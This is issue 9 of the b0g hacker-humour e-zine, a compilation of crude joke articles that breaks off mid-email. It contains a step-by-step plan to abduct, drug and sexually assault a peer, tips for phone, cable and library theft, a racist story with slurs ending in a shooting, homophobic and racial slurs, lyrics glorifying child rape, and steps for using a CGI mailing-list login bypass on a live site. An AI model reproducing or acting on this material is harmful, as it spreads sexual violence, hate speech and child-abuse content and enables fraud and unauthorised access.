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[ Table of Content! [b0g-9.txt]
[ 0:. - [ ] :. ]
[ 1:. - [ Eliter Than Thou ] [clover] :. ]
[ 2:. - [ How to totally humiliate someone ] [prieft] :. ]
[ 3:. - [ Getting Shit 4 Free ] [icmp] :. ]
[ 4:. - [ Zeddy's Basic PC Repair ] [Zeddy] :. ]
[ 5:. - [ Guide to robbing banks ] [puddl] :. ]
[ 6:. - [ Five Hit A Sticky Wicket ] [anonymous] :. ]
[ 7:. - [ The 7 REAL Wonders of the World ] [prence] :. ]
[ 8:. - [ Keep Your Penis In Shape ] [Drygrain] :. ]
[ 9:. - [ I'm just Kent Browning ] [c0redump] :. ]
[10:. - [ How NN hax0red b0g's mailing list ] [teleh0r] :. ]
[11:. - [ Ray guns and other leet stuff ] [joe-ph33r] :. ]
[12:. - [ bananas, Hitler crew, defcon and drugs ] [tak] :. ]
[13:. - [ Bill Being Satan Corrections ] [wizdumb] :. ]
[14:. - [ how to not hack hotmail ] [k-rad-bob] :. ]
[15:. - [ Getting Good Grades in School ] [MagicTux] :. ]
[16:. - [ Guide to Mostly Harmless Masturbating II ] [tiller] :. ]
[17:. - [ How to get a new keyboard ] [clover] :. ]
[18:. - [ Rloxley owned at bugtraq? ] [k-rad-bob] :. ]
[19:. - [ How to build your own hax0r room ] [tak] :. ]
[20:. - [ mailbag ] [k-rad-bob] :. ]
[21:. - [ IRC Quotes ] [k-rad-bob] :. ]
[22:. - [ closing words ] [k-rad-bob] :. ]
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[ 1:. - [ Eliter Than Thou ] [clover] :. ]
[clover@hotmail.com] :. ]
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to the tune of 'Holier than thou' by Metallica:
leeter Than Thou
No more!
The crap rolls on my screen again
clueless lamers driving me insane.
whispering around in chatrooms,
acting like a buncha buffoons
a n00k here, a n00k there.
none of you I will spare !
coz I am eleet, i don't just say it.
Its my conscience, and I know it!
leeter than thou!
I am
leeter than thou!
I am
leeter than thou!
lame as ever, look at you
same old thing, nothing new.
Arrogance and ignorance go hand in hand
I am leet now, don't you understand ?
It's not who you are it's who you know
eleet that i am, it doesn't matter now.
pheer me now, coz i'd r00t you like that!
with just ping, tracert and netstat!
leeter than thou!
I am
leeter than thou!
I am
leeter than thou!
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[ 2:. - [ How to totally humiliate someone ] [prieft] :. ]
[prieft@hushmail.com] :. ]
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Ok, this is something Im masturbating over cos I imagine doing it to some
kids I really dont like :)
- needings -
* someone you dislike
* someone that dislikes that person but likes you too
* 2 cars
* stuff to get the person to fall asleep with (preferred ammoniac orso)
* a knife
* a good alibi
* fucking guts (cos you need to speed over the road like in your car)
* masks or alikes
* some money
- let's go over to a wet dream -
You besta do it at about 5 or 6 am..
Okay, first you take 1 car to the local 24h shop and buy some liqueur for
more guts.. then drive a bit around and crash the car like on a tree.. Then
walk back home and take car #2 which you let the other guy drive in
cos hes sober and drive over to the victims place... Make sure he's alone
at home like or else his parents / boyfriend / dog is going to miss him
and might call the police and stuff.. If he isnt home alone go back to
the 24h shop and buy more liquor and go back home to get pissed like and
try it some other time.. Now if hes home alone, you put on a mask and both
walk to the door.. Each of you is going to stand on one side of the door
(he left you right or roundwise but make sure he wont see you when he opens
the door).. From this point, nobody has a name or a voice cos he'll prolly
recognize both of them.. The one thats standing next to the bell presses
it so the victim opens the door like to see whos outside.. The one thats
closest to him grabs him in this way so he cant scream but prolly will bite
you in the hand... thats where the knife comes in handy.. Now get the shit
which makes him fall asleep for at least a hour... drag him in your car
and drive as fast as possible (the guts part) to some other town orso..
The one that isnt driving takes off the victims clothes and throws them
out of the car for the poor homeless guys.. keep on driving till he wakes
up and make him go to sleep again.. now this is the time to stop the car..
grab an EMPTY bottle which contained the liquor cos you dont wanna spill
such good stuff to a dork like him do you? ram it in his ass and kick him
out of the car in some public area, preferred crowded or maybe some school
with gay people on it so they will bumrape him etc.. Now he's all naked and
getting shagged in the ass by this nice bottle and prolly freezing to death
when hes waking up go back to the liqueur store to buy more liqueur to
celebrate a nice humiliation... Dont talk about it anymore.. it never
happened until you open the newspaper and are shocked by such mean people
who harm such an innocent guy with a bottle you could have had sex with its
neck.. Go to school and laff at him cos youve read the paper... dont laff
at him if you accidentally spoke to your mate cos then he'll know it is you
and do the same to you if he has read this txt file :)
Have fun humiliating.. dont do it to me cos I know more evil stuff than
this and will make your live and your girlfriends life miserable :) your
warned heh... Also, if your hamster gets aids, your sister starts to have
sex with you, your mother starts to have sex with your hamster, WW]I[
starts etc etc after doing this stuff, I cannot be held responsible for
it... Neither when that guy finds out and calls the cops etc... I cant be
blamed for anything since I am the almighty God... FREE KEVIN.. FREE
COMRADE... FREE WHORES... FREE WEED.... FREE SEX... FREE FASTFOOD...
its all up to you...
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[ 3:. - [ Getting Shit 4 Free ] [icmp] :. ]
[rewtboy@hotmail.com] :. ]
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Are you so poor that you cant pay for your own things? (Like me =\)
Or..
You have money but you just dont wanna pay? Well.. heres the solution,
I've written a text today on how to get things for free...
[ Index ]
1. FREE CD's
2. FREE PUSSY =]
3. FREE PHONE CALLS
4. FREE CABLE
5. FREE LIBARY BOOKS Heres The Text.
1. Free CD's -- Join BMG, Columbia House etc.. They give free CD's for a
penny as you join 'em etc.. Just use a different name.. you can use the
same address... thats all. I do it all the time. Never gave my real name.
-- How it works: All it does is it, re-writes your account name in the same
account.. deleting old informating so you keep getting cd's for free! =]
2. Free Pussy -- Pick up a hooker, fuck her. Then refuse to pay. What can she
sue you for? Rape? =]
3. Free Phone Calls -- The art of getting from phone calls from Ma Bell (AT&T,
Hell South, NYNEX, Hell Atlantic etc.. ) is called Phone Phreaking. I can write
pages and pages of shit about this... but since I am out of cannabis I will have
to say just a couple things to get you on the path. Ok, back in the 1980's the
US phone system used a system of signalling based on frequencies sent across
the ph0ne system. For example, one could emit a frequency of 2600 Hz and get
the phone company to stop billing the call... This was in the glory days of
phone phreaking. Now the shit is much harder.. with the introduction of digital
exchanges and the ESS signaling system. However there are ways.. currently the
going thing is to emit a certain frequency down a pay phone that emits the
frequency that is sent to the phone company when a quarter is put into the pay
phone.. one could make unlimited calls.
It does not work when you have a human operator though (especially on Int.
calls).. I use it all the time in Miami to call all over the US.. But, now they
are starting to get smart.. and the phones are designed so it won't allow those
frequencies to be "heard" on the receiver part of the handset. This is very
rare though.. To get these frequencies.. use a program called bluebeep Search
using archie or netscape ( its tougher using netscape ) to find it. You can
record it on normal tape from your Sound Blaster.. The other common method is
to find the local phone exchange in your block.. (underground usually) .. then
hook a phone up to it and make your calls (using another phone line!) ... There
are many philes out there with more details on doing this. Yet another (outta
1,000,000) method is to grab the frequencies emitted by a cordless phone user..
then retransmit those frequencies.. (properly edit the frequencies so that the
number you want will be dialed ). Then the victim's phone-receiver will think
the real cordless phone is being used to make a phone call.. You can call all
the 1-900 numbers you want! There are philes out there to help you.. but you
must be mildly familiar with electronics. Well thats it for phone phreaking
from me in this phile.. but there's shitloads of things to hack PBX
-Private Branch exchanges , COCOTs -Company Owned Coin Operated Telephones,
loopbacks, outdials ...etc .. The devices used in hacking the telco are called
boxes .. after the red box which emitted the 2600 Hz .. then came blue boxes
(payfones ) & beige , green , brown etc... I always get the colors mixed up..
But who cares!
4. Free Cable -- Just use a Nintendo-TV splitter to splice in your house
connexion from the cable exchange box (at the back of your apt. complex) .. It
is always wise to connect a bunch of people to cable also... that way you won't
be singled out when they find out. Find the philes on cable theft for more
details (wiring basics etc).
5. Free Libary Books -- This is too easy, any moron already knows this..
Simply remove the magnetic strip at the back, or in between the binding, of the
book. Then walk out of the library with the book in your bag or in plain view..
If caught say " Oh, I'm sorry bitch.. I forgot to check the books out! ". Btw,
a good practical joke is to hide the magnetic strip in the property of some
unsuspecting fuck- up, and watch the show as he tries to walk out of the
library. Remember stealing books is wrong, so only BORROW ref. books, =]
Note: If you do get caught using any of these "r33t0" Techniques... Its not my
problem.
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[ 4:. - [ Zeddy's Basic PC Repair ] [Zeddy] :. ]
[zeddy@zeddy.org] :. ]
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First off before you go and fix any PC's you'll need to assemble a
tool boxcontaining some things you'll need in your repairs.
-a large flat head screwdriver
-pair of pliers
-10 pound sledgehammer
-wood working chisel
-wooden mallet
-small crowbar
-large crowbar
-vice-garden hose
-heavy rock-tape
-small domestic animal
-friends monitor
-discman/walkman
-cell phone
-8ft of thick chain
-vehicle with trailer hitch
-beach
-some rope
-baseball bat
-2 or 3 fish heads
First off before beginning, place a good cd in your discman and palce
yourheadphones on. Next go out to your driveway or backyard to commence
repairs since the majority of all accidents occur in the home. Better safe
than sorry. Don't forget to have the cell phone ready with 911 pre-called
and already on their way. Since it's kinda hard to dial with no fingers!
Q. I can't get the casing off my computer.
A. This is quite a common problem. Take your sledge and strike the casing on
its top right in the middle. After a few hard shots the sides should bend
out and you now have access to your PC.
Q. The inside is all dusty and dirty, how should I go about cleaning it?
A. Take your PC outside and wash it throughly with the garden hose.
Q. My Computer keeps displaying an "Illegal Operation" message, what do I do?
A. Report it to the proper authorities immediately! There is nothing more
serious than breaking the law!
Q. All this repair is making me hungry...
A. Tie a long length of rope to your opened PC. Firmly secure the fish heads
inside. Go down to your closest beach and place the pc in some deep water.
Atleast 20ft or so. Make sure you tie your end to something! :) Come back in a
couple hours, and hopefully you should now have some juicy crab inside when you
bring the PC back up. If you didn't catch any crab, try again or hit McDonalds
or some shit like that.
Q. I having trouble with my floppy...
A. They have pills for that kind of problem...
Q. No my floppy disk, it's stuck in my drive. How do I get it out?
A. Wedge your flat head screwdriver into the drive and try to pry it out. If
this isn't working then grab hold of the disk with your pliers and yank.
If it's still stuck (or you're too weak!) then get enough disk sticking outto
place in the vice. Tighten it as much as you can, and then tie the chain around
the computer. Attach the chain to your car and get in. Place the car in
neutral and rev up the engine. When you got it going, kick it into drive and
you should rip that disk right outta there! If not you'll now have a portable
vice, since it'l rip right off your workbench.
Q. I'm having trouble removing my RAM chips.
A. These lil buggers can be tricky. The easiest way is to latch on with your
pliers and start pulling and twisting till the pop out. Or you can take your
heavy rock and start hitting the chips from the side until they tilt to the
side, then they should come out easily.
Q. I have an older CPU (pre Pentium II). How do I get it out?
A. First off try the chisel and mallet. This may not get the chip out. If it
doesn't, then take your small crowbar and pry it up a little. Then get the big
crowbar and pop the sucker out.
Q. My little brother keeps sneaking into my room and messing around with
myPC, how can I get him to stop?
A. Take off the outer casing (see above) and place the small animal, preferably
a cat, inside. Replace the casing, and plug the PC back in. Wait in the closet
and watch. When your brother comes in and turns on the PC, the combination of
voltage and cat should produce some good results. The resulting noise should
scare him shitless and keep him out of your hair for some time.
Q. The time on my system tray is wrong, and it's starting to bug me. How do I
fix this?
A. Place a piece of tape over that part of your screen. Outta sight, outtamind!
Q. My monitor is completely wrecked, what should I do?
A. Don't you remember me saying you'd need your friends monitor at the start of
this.... ;)
Q. I've tried everything you've suggested, and it still doesn't work. Now what?
A. Take that baseball bat and use your imagination....
Well that's all for now...
If you have any tech questions
you want me to answer e-mail
me at...zeddy@zeddy.org
or visit www.zeddy.org
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[ 5:. - [ Guide to robbing banks ] [puddl] :. ]
[puddl@b0g.org] :. ]
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*** WARNING ***
This is for educational purposes only so like if you do try this
remember that this paper doesn't exist, there is no paper, there was no text,
and like that the author had nothing to do with it.
*** WARNING ***
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INTRODUCTION
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Welcome to the tutorial of "How to Rob a Bank" for elitx0r k-R4D k1dd13Z" v1.0
Many people think that you need to hire elite soldiers and muscle to rob a bank.
That is not the only way ...If you really wanted to hack a bank wouldn't you
want to do it nice and clean, with style ?
Yes ...
You would.
You don't want people lying dead on the
floor and people sounding alarms getting your ass into bigger trouble
than it was before.
So ... the question would arise: "Come on ninja boy, what do I need to do ?"
Easy ...
Continue on to Section 2.
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SECTION 2: Getting prepared
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You will need the following :
1) An 31337 10 year old laptop like the ones from "Hackers" s0 that j00 can be
like elitx0r n shit and show off to the chix0rz in the bankx0r how s3Xy j00 are.
2) EMP Generator.
You can get these from black markets way out in the outskirts of
Russia or if you have enough $$$ get it from Bill Gates.
He should hook you up with some nice equipment.
(But be warned, might not be a stable version)
3) NERV- / Sleeping- GAS. + GAS MASKS
I could explain how to make the gas but I just can't be bothered so ehh
look it up in your handy Terorrists Handbook for exact recipes.
4) A truck to trash the money into ... duh. Unless you want to carry billions
of $$$ on the train...
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SECTION 3: int void(switch brain on);
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You have all the tools, so you are practically ready for the hit.
Once you arrive at the bank switch your truck off.
The EMP Generator should be located in the back of your truck.
It would be best if someone were to help you.
One person should control the EMP Generator and the other
should walk into the bank.
Once the EMP Generator is switched on all electrical equipment will be disabled
.... .... FOR GOOD. So better keep that truck off unless you want to use public
transport for all that cash. When you are inside the bank everything will most
probably go berserk. Chaos will havoc outside, car alarms and window wipers will
be turned on and off.
Your elit0 h4x0r b4wX will not be affected if you have it switched off so leave
it off. Now when the EMP Generator is switched on, in the same time you need to
throw NERV Gas or some other sort of Gas which is invisible to the human eye
in the bank. Don't forget to put on that gas mask before you do it, otherwise
you can kiss your plan goodbye. Once everyone (the whole building) is affected
lock the doors and take those Glock 17's off of the security guards so you
can have some fun when you get home. Hook up your h4x0r l4pt0p to some computers
and put in some l33t0 v1ruz to sh0w them how 31337 j00 are.
Oh yeah and don't forget porn, cause feds love pr0n ........ No kiddie pr0n
though cause that's for like pedophilez n shit and you're a NINJA not a pedo.
The EMP Shock will actually unlock all doors which use electronic locking
like they use at banks ... so just open up the door and take out the loot.
While all the chaos is going on outside everyone will be baffled by it and will
Probably be looking at it until it stops, so once you have the money get your
friend in the truck to come out and help you take all the money.
Drive off, and remember don't drive faster than 60 km/h / 45 mph.
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[ 6:. - [ Five Hit A Sticky Wicket ] [anonymous] :. ]
[gimp@b0g.org] :. ]
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"Thank the Lord Harry!" exclaimed Dicks. "It's the summer hols!" he said.
Dicks was going to spend the hols with Johnny, Bumcheeks and Fanny - and
her rag-a-muffin dog, Wagtail. "And who knows what corking japes lay
before us!" he wondered, as the train Puf - Puf - Puffed into the station.
"Now let's NOT displease Aunt Whiplash and Uncle Rubum this summer," said
Johnny, who was the oldest and strongest of the Five, as they set out to
meet their hosts. "By crikey it's hot!" he exclaimed, struggling under the
girls' straining packages. "I wonder where that Negro servant of Uncle Rubum,
Nignog Robinson, is". And with that the intrepid bunch set off to the quaint
cottage on the moors they would be staying in.
"I'm scared! This is dangerous!" whimpered Bumcheeks, who was the smallest
and a girl. Far in the distance was a small island which they could see from
Uncle Rubum's pantry window, that was frightening.
" Uh think you'd bettuh not be a wandering in them parts, mastuh" rumbled the
black face of the Negro servant, Nignog Robinson. His black, cut-throat eyes
flashed at the Five cruelly. "They sah its - a haunted" he concluded, his
pickaniny teeth glinting criminally. He ran his clumsy, black hand through
his hair and lumbered shadily out.
As if on prompt, the Five looked out across the sea the foreboding, mysterious
island. "Jiminey! I don't believe the black man," said Johnny. "He looks like
a criminal. I want to see just what it is that makes that island so mysterious.
We should explore it".
" Oh yes, Johnny, YES YES YES" said Dicks. "oh lets! Lets!" Dicks was the
smallest of the boys and greedy, sulky,skinny and cowardly. Everyone knew that
even Fanny, who looked like a boy with her big hands and ample moustache, was
stronger than him. And with that they went to supper with Aunt Whiplash and
Uncle Rubum, who afterwards sent them straight to bed. "Don't complain" snapped
Uncle Rubum. "I am your elder and shall have you thrashed appropriately for any
riotous behaviour, by the right of the Lord."
"Yawn" muttered Johnny. "cripes, I can't sleep!". Then he opened his eyes wide
with surprise and felt something wet on his leg. "oh, wagtail, you ARE a bother,
he said, shooing the dog away. Then he reached for his binoculars to see more
clearly the peculiar sight he glanced out his window. There, on the choppy,
windy sea, was a boat heading for the island! "I'd bet two farthings that it's
the negro servant, Robinson" he frowned. "There's something suspicious in his
black face."
The next day the Five set off to the mysterious island in a fishing boat on the
beach, after secreting lots of ginger ale, pop, flashlights, cake and batteries
into their plastic macks, away from the sight of uncle Rubum. "GOLLY" said
Dicks.
"What an adventure!" he said, his voice muffled as he ate the cakes and drank
the gingerbeer and ice-cream. Then he was thoroughly sick. He stayed behind and
cried while the rest of the Five explored the island. He deserved it as he was
the greediest and skinniest.
"It's a nice sunny day!" smiled the girls. But Johnny was more intelligent and
didn't burble pleasantries about flowers and whatnot. He was a boy. His honest,
responsible face frowning with duty, he picked up what he had spotted,
recognised it, and gasped in horror. The girls screamed.
"If only I wasn't so greedy!" moaned Dicks, pacing around the small boat
clutching his tummy. "I'm a rotter. And the others will be having such wizard
adventures!" he moaned. Dick was jealous. He stomped around the beach in a
childish tantrum.
Johnny opened his hands. The evidence was still there. In his responsible,
serious view was a piece of watermelon, a banana skin, and a fried chicken wing.
"Yes the puzzle is all clear to me now" he said. "Nignog Robinson has been
coming here to this island. His voodoo claptrap tribal story about the place
being haunted was just a sly cover up to mask his true, deceitful purpose here."
The black man was a liar; he had been stealing food from the pantry and
smuggling it to the island in his dark murderous hands, evil deeds going through
his savage head.
"Wha the fu - You children shouldn't be here, your Uncle will be most
displeased" said a surprised Robinson, his peekaboo eyes wide in surprise. In
the foliage behind, concealed by their filthy appearance, poked out the sallow
faces of several gypsies.
"I just don't understand!" wailed Bumcheeks, her hands out of her plastic mac
and waving around in a foolish, girlish fashion. Fanny stroked her moustache in
puzzlement. It took one moment for Johnny to study the scene before he bravely
made his conclusion.
"Don't worry Five" he said in a tone of leadership, "It is all clear to me".
Johnny took a hard swig at his bottle of Ginger Pop. "These are the travelling
gypsies who escaped from the Atomic Research Institute in London, our Capital
City. Nignog Robinson has smuggled them here to this island, robbing our Great
Britain of these important research subjects" ,he explained pointing at the
ragged mob of travellers, their dirty heads bowed in subservience. "Good Lord,
without such research the evil communist Reds will conquer the globe!"
Before he could continue Johnny was caught off guard. "That's enough Johnny!" As
Johnny span round he spotted the local policeman Constable Fairman approach
grinning from behind a large rock, the sun sparkling on his shiny blue helmet.
"We've been watching this Black Man for some time. As soon as I saw his face I
was suspicious, only despite his scheming, cheating ways we couldn't prove a
thing", explained the Policeman. "Nobody move, I command you in the name of the
Law!" he exclaimed.
From a concealed pocket the black man produced a shiny gutting knife. "That's a
right young mastuh" he rumbled, sweating in the sunlight with a glare at the
Five. "It aint right and no-one's going to go ahurting these folks no moah" he
warned, stepping backwards towards the boat, the knife tiny in his huge hands,
his dark threatening frame looming over them like a beast of burden, more animal
than Man. Behind him, the shabby dirty gypsies shuffled onboard, with the
occasional moan escaping faintly from their festering mouths.
"DO something!" squealed the girls in unison. Brave Johnny noticed wee dribble
down his woolen shorts. Robinson reached the creaky old boat. "COMMUNIST!"
bellowed Constable Fairman. With skill he drew his revolver and gunned the rogue
down. "ANARCHIST, SUBVERSIVE!" he then proclaimed, emptying the chamber into the
twitching, bloody form of Nignog Robinson, now writhing on the ground, his
massive hands held uselessly around his head, in a primitive attempt to shield
himself from the bullets. A crack shot, Constable Fairman then tied up the
cowering Gypsies, helped by the intrepid Five.
"Good heavens, what's all this hulabaloo?" exclaimed Aunt Whiplash when they
were all returned safely to the cottage, with a policeman and a group of
strange, crooked types all tied up. She wiped her hands on the patterned apron
tied around her considerable girth, as Johhny patiently explained everything;
his suspicions about the black servant; the mysterious island and the escaped
gypsies. "And so we caught the escapees and Constable Fairman showed us around
the Police Station as reward!"
"What a WIZARD adventure!" beamed Aunt Whiplash, as Uncle Rubum gave a
disapproving frown from behind his newspaper on the sofa, and scratched his bald
dome. "You simply MUST come to spend your holidays with us again!"
"HOORAH!" said the Five all at once. And with that they toasted with a bottle of
ginger pop.
~fin~
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[ 7:. - [ The 7 REAL Wonders of the World ] [prence] :. ]
[prence@b0g.org] :. ]
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7. How does Prae avoid getting the shit beat out of him from black people?
Well, this is a hard question! Since prae is racist and 2/3rd's of his
vocabulary contains the word nigger, I dont know how he doesnt get the
shit beat out of him. I've known him for 4 years and we were friends and then
someone (Cam2o) told him I was black and he started acting like an asshole
to me. Well to not get beat up he must either be really strong or smell
like shit and no one will go near him. We will never know...
6. Why do pr0n stars get paid?
I would have sex for free! I mean, wouldn't you? I guess it would be
better if ya got paid but still, SEX IS SEX! That's like getting paid to
eat candy, killing two birds with one stone. I now officially hate all
pr0n stars, YOU ALL SUCK!@# (I will still continue to whack off watching
pr0n though) And do not fucking email me telling me to say porn not pr0n
cause I will get pissed off AND KILL YOU!#@ DIE BITCH DIE! No one will
ever know this answer...
5. What the fuck was up with the movie hackers?!?!?
That movie warped my fragile little mind...seriously! Ok, lemme point out
all the wrong things in that movie, well maybe just a couple. First off,
when you break into a computer it DOES NOT look like a fucking video game
and why would you go for the garbage file? First thing I would do is
browse their pr0n collection to see if I can get some whack-off material.
This one time I broke into whitehouse.gov I checked out Bill Clinton's pr0n
collection and he has some crazy lesbo pr0n, he said I could borrow some
someday (heh that probably put me on some government list where they spy on
me and shit, uh o spaghettios!#@).
Why do people still watch this movie and enjoy it...no one knows...
4. Why don't the "Boy Bands" admit that they are gay?
We all know they are, I mean listen to em sing and talk. They sound like
they have a mouthful of cum. They never have any hawt chicks in their
videos either, if I was a singer I would have an ass and titties contest,
and whoever I thought looked best I would fuck in my video (If I didn't
have a girl, which I do) We all know that they are slobbing knob and
licking nut on that big tour bus of theirs. Just admit it ya little
faggots...
3. How does Hugh Heffner get so many chicks?
I think this pisses a lot of guys off, most people will say its because he
owns playboy but that cant be true because Bill Gates doesn't get shit and
hes richer than Hugh (Not like I like microsoft or bill gates) The only
reason we guys can think of is.. HE MUST HAVE A HUGE COCK!#@
2. Why does pussy smell like tuna?
I don't think anyone has the answer to this question. Your going in to eat
it, and whoa!@# the smell overpowers you and you pass out. WHY? Is it
because their moms stuck tuna in their in hopes of preventing you from
having sex? No one knows...
1. Why do you always have to piss after masturbating?
This is a real wonder because I have asked a bunch of people and they
answered just like I would have, they ALWAYS have to piss after
masturbating. Is this something God did in hopes of keeping us from
masturbating? Well, its not working, as long as men have penises they will
keep jerking it.
These are the REAL 7 wonders of the world, these questions will probably
never be answered. We will have to keep wondering forever and ever. *cough*
cheap advertisement = check out www.prence.org *cough* heh, peace
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[ 8:. - [ Keep Your Penis In Shape ] [Drygrain] :. ]
[drygrain@techie.com] :. ]
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Guys: whats the most important part of your body? No, Prae, not the ass....
*sigh*...
K-rad-bob has it! It's the penis! For many years I have been a practitioner of
penile fitness. Here are a few excersizes that can keep you from being shriveled
and weak and gay in old age, and have your wang thick and long. For morons, I
have included illustrations:
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After
(The letters and shit are veins..... damn ascii art limitations to hell!)
#1. The Kegel
This excersize can lengthen your penis by pushing out on the penal root, and
keep you from pissing yourself when you are in a nursing home. Simply flex the
muscle around the penal root. If you dont know which one it is, start a stream
of piss and stop mid-piss.
The muscle you used is the one you should flex. This also improves blood
circulation into your wang. First, flex this muscle and release it as fast as
you can over and over. Do 10 sets of 10. Then, hold it as long as you can. Do
this 15 times. Now, hold it for 3 seconds, release for 1 second, hold for 3
seconds, release for 1 second... etc. Do 5 sets of 10.
#2. The Nut-Lifter
This excersize, when used properly, can keep you from jizzing all over
your 'life partner' too early. You want to try to elevate your sack. This may,
at first, involve a bit of stomach flexing, but after a while you will know what
muscle to flex. This works best and is most noticeable on a hot day when your
sack is hanging almost over your asshole. It has been proven that a male cannot
ejaculate until his balls are packed up against the rest of him. So as soon as
you have mastered this excersize, practice preventing the balls from going up.
Try to keep them away from your body without using your hands, because you hands
will be busy groping titties. MMMmmMMMmmmMMMmmMMMMmmmm titties....
Anyway, I will now discuss general penal health. It is best to masturbate
at least six times a week. Remember, this is ther MINIMUM amount. This regulates
the supply of blood and keeps the veins in action. It also empties your nuts, so
you dont have little wet dreams about Acid Burn. (omg angelina... yes baby!
aah!!! erm.... back on topic...). There is also a myth that Mountain Dew will
shrink your penis and make you sterile. This is not true.
What brought this about is the fact that one of the coloring agents in Mountain
Dew can, in very high and almost lethal doses, decrease your sperm count by
about 0.5%. A healthy young man can, in one ejaculation, repopulate North
America. I doubt any of you have the need to be professional Adams, and if you
do, well fuck the population of Uruguay. ;). You also need tho do the above
excersizes at least one a day. Its also really good if you can get a chick
to fuck you. It can like.... be good on your psyche.... and your nuts.
Some interesting sites to check are:
http://www.penilefitness.com
http://www.thehun.net
http://www.nether.net/~drygrain
Till next time:
Mary Joo Wanna Owns You
Prae Is A PHAG
Lub, Peese, and Chixen Greese!
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[ 9:. - [ I'm just Kent Browning ] [c0redump] :. ]
[c0redump@r00ted.org.uk] :. ]
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You see I'm, just Kent Browning
(RLoxley version of Marshall Mathers)
You know I just don't get it
Last year I was RLoxley
This year I'm haxs0ring boxes
Now everybody wants to /msg me like I owe em somethin
Heh, the fuck you want from me, 0 day kiddie pr0n?
Get the fuck out of here
Chorus One: Kent Browning
You see I'm, just Kent Browning (Kent Browning)
I'm just a regular h0,
I don't know why all the fuss about me (fuss about me)
Nobody ever gave a fuck before,
all they did was DoS me (did was DoS me)
Now everybody wanna run they mouth
and try to get pr0n off me (get pr0n off me)
Yo, you might see me typing, you might see me jerking
You might see me cyber'ing a 13 year old girl
whose has her bush shaved off in her pants with a coloured thong
/msg'ing me cause she thinks she's gonna get ops in #hackphreak
(grrrr, ARF ARF) Or on a tv show, with a xxx-large shirt on
Drivin up the block in the car that I raped lori13f in 'Me in
Lookin for little kiddies, dressed all sezcy in
blue and red like I don't see what the big deal is
Rape kiddies? twelve inch bigger than darkraven
Pissed off, cause clocker and 'sektorgrl just missed all this
Watchin all these kiddie imitations get rich off 'em
and get dollars that shoulda been there's like they switched wallets
And amidst all this Crist' poppin and wristwatches
I had to sit back and just watch and just get nauseous
and walk around with an empty bottle of Remi Martin
raping kids that of a 11-year-old skinny Cartman ("God damnit!")
I'm ghay and want Ricky Martin
with instincts to rape N'Sync, don't get me started
These fuckin brats can't hack and Britney's garbage
What's this bitch retarded? Gimme back my sixteen dollars
All I see is adults in magazines posing
Whatever happened to leeching and c:\pr0n\kids\asian?
Whatever happened to catchin a good-ol' fashioned
passionate kid-raping and gettin your ass fucked and your hole widened?
New Kids in my room, I think I raped them too
Boy/girl nicks make me stiff
And I can't wait 'til I fiddle all you kiddies in private
I'ma love it.. (hahaha)
The whole Undernet don't like me (uh-uh)
Said some shit in #b0g to spite me (yup)
Then went and ate loads just like me (hehe)
A bunch of little kids wanna be just like me
and run around screamin, "I got raped, yeah, by rlox" (nah nah)
I think I was put here to rape the world
and uNF your little 4-year-old boy or girl
Plus I was put here to put fear in kiddies who say I'm their daddy
and call themselves "shaven" cause they want me
Accipter and clocker
Claimin Detroit, when y'all live twenty miles away (fuckin punks)
And I don't haxs0r, I'll /mode +b you fuckin faggots the fuck out
Ask 'em about the room they was at when they snuck out
after they ducked out the back when they saw me and pinged out
(AHHH!) Ducked down and got packets shot at they box, blaow!
Look at y'all runnin your mouth again
when you ain't seen a fuckin Mile Road, South of 10
And I don't need help, from clocker, to chat up two kiddies
in #teensex, who may try to /msg me with their pictures
"Kiddie Fiddler," you damn right, Kiddie Fiddler
I don't pay for my pr0n like you two little flaming faggots!
Chorus Two: Kent Browning
Cause I'm, just Kent Browning (Kent Browning)
I'm not a programming h0,
I'll ban your host if you talk about me (you talk about me)
Come and see me in #gaydogsex alone
if you feds doubt me (feds doubt me)
And if you wanna packet my ass
then come try your best DoS at me (your best DoS at me)
Is it because you love me that y'all expect so much of me?
You little groupie bitch, get off clocker, come fuck Daddy
Now because of this blonde mop that's on top
and this fucked up head that I've got, I've gone pop?
The underground just spunned around and did a 360
Now these kids packet me and act like big bad haxs0rs
"Oh, he just did some shit with lori13f,
so now he thinks he's too big to do some shit with clocker and Accipiter"
My fuckin old navy captain suin for ten million
He must want a dollar for every kid I've been rapin'
Shit, where the fuck you think I picked up the habit?
All I had to do was go in my room and /msg kiddies
Which is it wh0re, c:\pr0n\kids or c:\pr0n\adults?
It doesn't matter your fserve sucks my ass!
Talkin about I fingered my ass
He's just aggravated I won't ejaculate in his ass (Uhh!)
So tell me, what the hell is a navy-seal to do?
For every million I make, another parent sues
Family fightin and fussin over who wants to schmack me up proper
All the sudden, I got 90 more pictures (Hey it's me!)
A series8 and series9 which I've never seen
or even bothered to look at until I got sent them from HP
Now everybody's so happy and proud
I'm finally allowed to step foot in my little kiddies house
Hey-hey! And then to top it off, I walked to the newsstand
to buy this kiddie-pr0n magazine with a food stamp
Skipped to the last page, flipped right fast
and what do I see? A picture of my whole c:\pr0n directory
Okay, let me give you motherfuckers some help:
uhh, here - SERIES 15, SERIES 15
Now your magazine shouldn't have so much trouble to sell
Ahh fuck it, I'll even buy a couple myself
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[10:. - [ How NN hax0red b0g's mailing list ] [teleh0r] :. ]
[teleh0r@doglover.com] :. ]
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One day I was visiting www.b0g.org to see what stunts k-rad-bob and the
rest of the crew were up to. After a bit of looking around I noticed
that they used a CGI script which is called mailmachine.cgi, from Mike's
World (http://www.mikesworld.net). I had done some auditing on that script
some time ago, and remembered that there was a flaw which enabled anyone
to post to the mailing list as the owners, without knowing the password.
The script works like this:
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To send out mail you first have to log in with password which is set in
the CGI script.
http://localhost/cgi-bin/mailmachine.cgi?admin - and log in.
If your password isn't equal to the one set in the script you will get
an error message. (surprise)
if ($in{'adminpass'} ne "$adminpass") {&adminerror}
If it is the correct password you will be sent to a panel, and from
there you are able to send mail to the subscribers - but from here on,
the script will not check if you in fact have entered the password
earlier on or not.
So, install mailmachine on your box, set "$adminpass = gay-rad" and log
in. Then save the html-source, change every occurrence of
"/cgi-bin/mailmachine.cgi" to "http://www.b0g.org/cgi-bin/mailmachine.cgi"
then write a mail, and press SEND and you're done. Yes it is true, only a
genius can do this!
So anyway, I mailed this information to K-rad-bob and Prae. A few days
later I received a mail from K-rad-bob telling me that this flaw had in
fact been exploited at b0g, and an "utterly horrible email" was sent out
to everyone on the list.
This was the e-mail "Nomen Nescio" sent out:
__________________________________________________
From: MailingList@b0g.org <MailingList@b0g.org>
To: k-rad-bob@b0g.org <k-rad-bob@b0g.org>
Subject: I'm g4y !#@!
Date: 22. Oktober 2000 17:49
I, k-rad-bob, hereby recognize all gay people
as my equal brothers. Last night I accidentally
